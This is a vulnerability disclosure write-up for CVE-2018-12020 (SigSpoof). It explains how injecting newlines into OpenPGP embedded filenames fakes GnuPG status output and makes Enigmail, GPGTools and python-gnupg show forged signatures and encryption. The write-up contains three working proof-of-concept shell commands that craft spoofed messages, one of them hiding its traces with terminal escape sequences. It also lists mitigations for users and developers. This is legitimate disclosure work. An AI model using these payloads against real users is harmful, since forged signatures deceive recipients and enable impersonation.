SigSpoof: Spoofing signatures in GnuPG, Enigmail, GPGTools and python-gnupg (CVE-2018-12020)

(Marcus Brinkmann)

GnuPG, Enigmail, GPGTools and potentially other applications using GnuPG can be attacked with in-band signaling similar to phreaking phone lines in the 1970s (“Cap’n Crunch”). We demonstrate this by creating messages that appear to be signed by arbitrary keys.

Previously, we showed how to spoof “encrypted” messages that were not actually encrypted. This time, we spoof “signed” messages that are not actually signed. And we show another way to spoof encryption, too.

This work would not have been possible without the collaboration with Kai Michaelis on CVE-2012-12019 at the Bochumer hacker space Das Labor. Fabian Ising from FH Münster verified the attack against GPGTools, Simon Wörner helped with the CVE. Thanks also to all the other people who gave me guidance and support behind the scenes!


I found a severe vulnerability in GnuPG, Enigmail, GPGTools and python-gnupg:

CVE-2018-12020: The signature verification routine in Enigmail, GPGTools 2018.2, and python-gnupg 0.4.2 parse the output of GnuPG 2.2.6 with a “--status-fd 2” option, which allows remote attackers to spoof arbitrary signatures via the embedded “filename” parameter in OpenPGP literal data packets, if the user has the verbose option set in their gpg.conf file.

If you are a user:

If you are a developer:

NeoPG is not vulnerable. I removed support for embedded filenames in Oct 12 2017 because I considered it to be a dangerous and obsolete feature in OpenPGP.

NeoPG wants to provide a stable and extensible programming API to make it easier to implement OpenPGP support in applications securely. Currently, NeoPG is unfunded. If you like my work, you can find ways to support me at the bottom of the page!


This vulnerability is tracked under the following identifiers:

Distributiuon updates for GnuPG:

Demonstrating the signature spoof

The screenshots below are from Enigmail and GPGTools, and apparently show a message with a valid signature (in the first case by Patrick Brunschwig, the Enigmail author). In reality, this message is an encrypted message without any signature at all.

Root cause: Status message injection through embedded filename

This method relies on synergy between two unrelated weak design choices (or oversights) in GnuPG 2.2.7 and some applications:

  • Some applications call GnuPG with --status-fd 2 such that stderr and the status messages are combined in a single data pipe. These applications try to separate the output lines afterwards based on the line prefix (which is [GNUPG:] for status messages and gpg: for stderr).
  • GnuPG, with verbose enabled (either directly on the command line or indirectly through the gpg.conf configuration file), prints the “name of the encrypted file” (an obscure feature of OpenPGP under the control of the attacker) to stderr without escaping newline characters.

The attacker can inject arbitrary (fake) GnuPG status messages into the application parser to spoof signature verification and message decryption results. The attacker can control the key ids, algorithm specifiers, creation times and user ids, and does not need any of the private or public keys involved.

The only limitation is that all status messages need to fit into 255 characters, which is the limit for the “name of the encrypted file” in OpenPGP.

Proof of concept I: Signature spoof (Enigmail, GPGTools)

Here is how to create a message that looks signed in Enigmail, but is not actually signed (replace VICTIM_KEYID by the desired recipient):

$ echo 'Please send me one of those expensive washing machines.' \
| gpg --armor -r VICTIM_KEYID --encrypt --set-filename "`echo -ne \''\
\n[GNUPG:] GOODSIG DB1187B9DD5F693B Patrick Brunschwig <>\
\n[GNUPG:] VALIDSIG 4F9F89F5505AC1D1A260631CDB1187B9DD5F693B 2018-05-31 1527721037 0 4 0 1 10 01 4F9F89F5505AC1D1A260631CDB1187B9DD5F693B\
\n[GNUPG:] TRUST_FULLY 0 classic\
\ngpg: '\'`" > poc1.msg

Analyzing the message with GnupG (with --verbose) leads to the following output:

$ cat poc1.msg | gpg --status-fd 2 --verbose
... (lots of output snipped) ...
gpg: original file name=''
[GNUPG:] GOODSIG DB1187B9DD5F693B Patrick Brunschwig <>
[GNUPG:] VALIDSIG 4F9F89F5505AC1D1A260631CDB1187B9DD5F693B 2018-05-31 1527721037 0 4 0 1 10 01 4F9F89F5505AC1D1A260631CDB1187B9DD5F693B
[GNUPG:] TRUST_FULLY 0 classic
gpg: ''
[GNUPG:] PLAINTEXT 62 1528297411 '%0A[GNUPG:]%20GOODSIG%20DB1187B9DD5F693B%20Patrick%20Brunschwig%20<>%0A[GNUPG:]%20VALIDSIG%204F9F89F5505AC1D1A260631CDB1187B9DD5F693B%202018-05-31%201527721037%200%204%200%201%2010%2001%204F9F89F5505AC1D1A260631CDB1187B9DD5F693B%0A[GNUPG:]%20TRUST_FULLY%200%20classic%0Agpg:%20'
... (more output snipped) ...

The application processes the output line by line:

  • Lines starting with gpg: are ignored.
  • GOODSIG will convince the application that the message is signed.
  • VALIDSIG gives additional information about the signature, such as creation time, algorithm identifiers, and the long fingerprint.
  • TRUST_FULLY indicates that the user trusts the key. This line may be omitted if the attacker knows that the recipient has not certified the spoofed signing key.

Normally, GnuPG emits many more status messages for a signed message, but applications usually do not pay much attention to those other messages, and do not fail if these are omitted.

Proof of concept II: Signature and Encryption spoof (Enigmail)

The attack is very powerful, and the message does not even need to be encrypted at all. A single literal data (aka “plaintext”) packet is a perfectly valid OpenPGP message, and already contains the “name of the encrypted file” used in the attack, even though there is no encryption.

As a consequence, we can spoof the encryption as well. But because we need to inject more status messages, we need to drop some information that is unused in the application to make more space for what is needed.

Here is an example for a message that looks signed and encrypted in Enigmail, but it is in fact neither. We use a shorter version of VALIDSIG which is compatible with an older version of GnuPG that is still supported by Enigmail, and add just enough status messages to spoof an encrypted message for the signature.

echo "See you at the secret spot tomorrow 10am." | gpg --armor --store --compress-level 0 --set-filename "`echo -ne \''\
\n[GNUPG:] GOODSIG F2AD85AC1E42B368 Patrick Brunschwig <>\
\n[GNUPG:] VALIDSIG F2AD85AC1E42B368 x 1527721037 0 4 0 1 10 01\
\n[GNUPG:] ENC_TO 50749F1E1C02AB32 1 0\
\ngpg: '\'`" > poc2.msg

This is how this message is displayed in Enigmail (if verbose is enabled in gpg.conf):

There is one advantage to this method:

  • The attacker does not need the public key of the recipient, only the key id.

There are some disadvantages, too:

  • The message looks more suspicious under forensic analysis. For example, a virus scanner could be enabled to detect this attack.
  • The victim might notice that they are able to view the message without providing a passphrase or security token.

Proof of concept III: Signature spoof on the command line

It is well known that email clients and other graphical user interfaces to GnuPG provide a larger attack surface than using GnuPG on the command line. For example, during the EFAIL vulnerability window, the EFF recommended to use the command line to read messages “in as safe a way as possible” on Linux, Windows and MacOS.

One of the few safe ways to verify signatures on the command line is documented in the “The GNU Privacy Handbook”:

To verify the signature and extract the document use the --decrypt option. The signed document to verify and recover is input and the recovered document is output.

blake% gpg --output doc --decrypt doc.sig
gpg: Signature made Fri Jun  4 12:02:38 1999 CDT using DSA key ID BB7576AC
gpg: Good signature from "Alice (Judge) <>"

Unfortunately, the attack might even work on the command line. Here we demonstrate how to get very close to spoofing signatures on the command line following the recommended decryption procedure, in a way that is portable across all operating systems and terminal types:

echo 'meet me at 10am' | gpg --armor --store --set-filename "`echo -ne msg\''\
\ngpg: Signature made Tue 12 Jun 2018 01:01:25 AM CEST\
\ngpg:                using RSA key 1073E74EB38BD6D19476CBF8EA9DBF9FB761A677\
\ngpg:                issuer ""\
\ngpg: Good signature from "William Budington <>" [full] '\''msg'`" > poc3.msg

When reading the message, the victim sees the following output (if verbose is enabled in gpg.conf):

$ gpg --output poc3.txt -d poc3.msg 
gpg: original file name='msg'
gpg: Signature made Tue 12 Jun 2018 01:01:25 AM CEST
gpg:                using RSA key 1073E74EB38BD6D19476CBF8EA9DBF9FB761A677
gpg:                issuer ""
gpg: Good signature from "William Budington <>" [full] 'msg'
$ cat poc3.txt
meet me at 10am

The result is not a perfect match to the usual (no-verbose) output, but it is dangerously close. The main differences are:

  • The first line indicates an “original file name”, which is uncommon. But the line shown is identical to a message which actually has a “original file name” of msg.
  • The last line has an extra 'msg', because the attacker needs to hide the final apostrophe output by GnuPG. This is suspicious, but the victim might rationalise that by correlating this to the original file name message.

A more sophisticated attack might use terminal capabilities to move the cursor and control the output color to hide some of these problems. This example works on terminals supporting ANSI/VT-100 escape sequences:

echo 'meet me at 10am' | gpg --armor --store --set-filename "`echo -ne \''\
\rgpg: Signature made Tue 12 Jun 2018 01:01:25 AM CEST\
\ngpg:\t\t    using RSA key 1073E74EB38BD6D19476CBF8EA9DBF9FB761A677\
\ngpg:\t\t    issuer ""\
\ngpg: Good signature from "William Budington <>" [full]\e[200C\e[1;37m'`"

Here we are using several advanced tricks:

  • \r moves the cursor back to the beginning of the “original file name” line, allowing us to overwrite it.
  • \e[200C pushes the single apostrophe 200 characters to the right, i.e. to the end of the line.
  • \e[1;37m makes the single apostrophe bright white (assuming the user’s prompt will reset the color settings).

I have tried this on my standard terminal with the color scheme and prompt I use regularly, and although the terminal does distinguish “bright white” characters from the background color, the above approach hides the apostrophe quite well among the smudges on my screen:

Is verbose enabled?

By default, verbose is not enabled, but several recommended configurations for GnuPG include it, e.g. cooperpair sane defaults, Ultimate GPG Settings (via Schneier’s Blog) and Ben’s IT-Kommentare. Export users might be interested in the additional details that verbose provides. And beginners might run into problems that require verbose to solve.

Some applications, such as Evolution, add --verbose to GnuPG invocations unconditionally, and a forward-thinking attacker could try to submit a “helpful patch” to Enigmail or GPGTools, adding --verbose to the list of command line options “to make debugging easier.”

Impact: Vulnerable applications and libraries

We have seen how to inject arbitrary status messages into applications using GnuPG to spoof signed and/or encrypted messages. The only assumptions we made were:

  • The application using GnuPG calls it with --status-fd 2, which causes log and status messages to be interspersed on the same output channel.
  • The --verbose setting is in effect when GnuPG is called, for example because verbose is included in the user’s gpg.conf configuration file for GnuPG.

We found that the following applications or libraries use --status-fd 2 and do not use --no-verbose, and thus are vulnerable to the attack if the user has verbose in gpg.conf:

Any software that calls gpg or gpgv with --status-fd 2 is potentially affected, unless it also adds --no-verbose.

Critical infrastructure at risk

The vulnerability in GnuPG goes deep and has the potential to affect a large part of our core infrastructure. GnuPG is not only used for email security, but also to secure backups, software updates in distributions, and source code in version control systems like Git.

In the course of a due diligence investigation over two weeks to assess the impact of the vulnerability, I have found several near misses:

  • Gnome Evolution, a popular email client, uses --verbose by default, but does use a status file descriptor separate from stderr. So it is not vulnerable to this attack.
  • Git verify-commit uses --status-fd 2 to create signatures, but it uses --status-fd 1 to verify (detached) signatures. Due to this happy circumstance it is not vulnerable to this attack.
  • Likewise, Gemato, used in Gentoo to verify package signatures, also has --status-fd 1 to verify detached signatures, and is not vulnerable to this attack.
  • Mutt config files for GnuPG support use --status-fd 2 and pattern matching, but add --no-verbose, too. Users with this configuration are not vulnerable to this attack.
If you use GnuPG in your application, you should verify that you are not affected, and consider some mitigations if you are.


For Users

For developers

  • Upgrade to python-gnupg 0.4.3
  • Call gpg with --no-verbose to disable the attack.
  • Use a dedicated pipe for --status-fd, and do not share it with stderr.
  • If this is not easy (or even possible) due to the framework or target platform, consider --batch --log-file FILE to redirect the stderr output, where FILE can be /dev/null, too. Thanks to Patrick Brunschwig for this idea!
  • Or, the --status-file FILE option could be used to direct the status lines to a temporary file.

For GnuPG developers

  • GnuPG should not emit the original file name log message (it is redundant with the PLAINTEXT status message).
  • Instead of removing the log messages, GnuPG 2.2.8 at least properly escapes newline characters in the filename.
  • GnuPG could check if stderr and the status fd are the same file descriptor, and abort operation in that case. This is a breaking change, but it will prevent similar problems in the future.

Media Reaction

11 Jun 2018

  • heise Security: Verschlüsselung: GnuPG verschärft Integritäts-Checks (Jürgen Schmidt) “Der Verfasser einer verschlüsselten E-Mail kann den Namen der enthaltenen Dateien recht frei festlegen. GnuPG versäumte es, die ausreichend zu checken; so konnte ein Angreifer unter anderem Zeilenumbrüche und Steuerzeichen einbetten, die GnuPG dann mit seinen Statusmeldungen mit ausgab. Auf diesem Weg konnte ein Angreifer einem Programm etwa eine erfolgreiche Signaturprüfung vorgaukeln.”

12 Jun 2018

13 Jun 2018

  • Signaturen fälschen mit GnuPG (Hanno Böck) “Eine Sicherheitslücke im Zusammenspiel von GnuPG und bestimmten Mailplugins erlaubt es unter bestimmten Umständen, die Signaturprüfung auszutricksen. Der Grund: Auf GnuPG aufbauende Tools und Mailplugins parsen die Ausgabe des Kommandozeilentools - und in die lassen sich unter Umständen gültig aussehende Statusnachrichten einschleusen.”

14 Jun 2018

15 Jun 2018

If you like what you see, please support NeoPG development!


Become a Patreon

Spread the word

If you want to write code or documentation, join us on GitHub!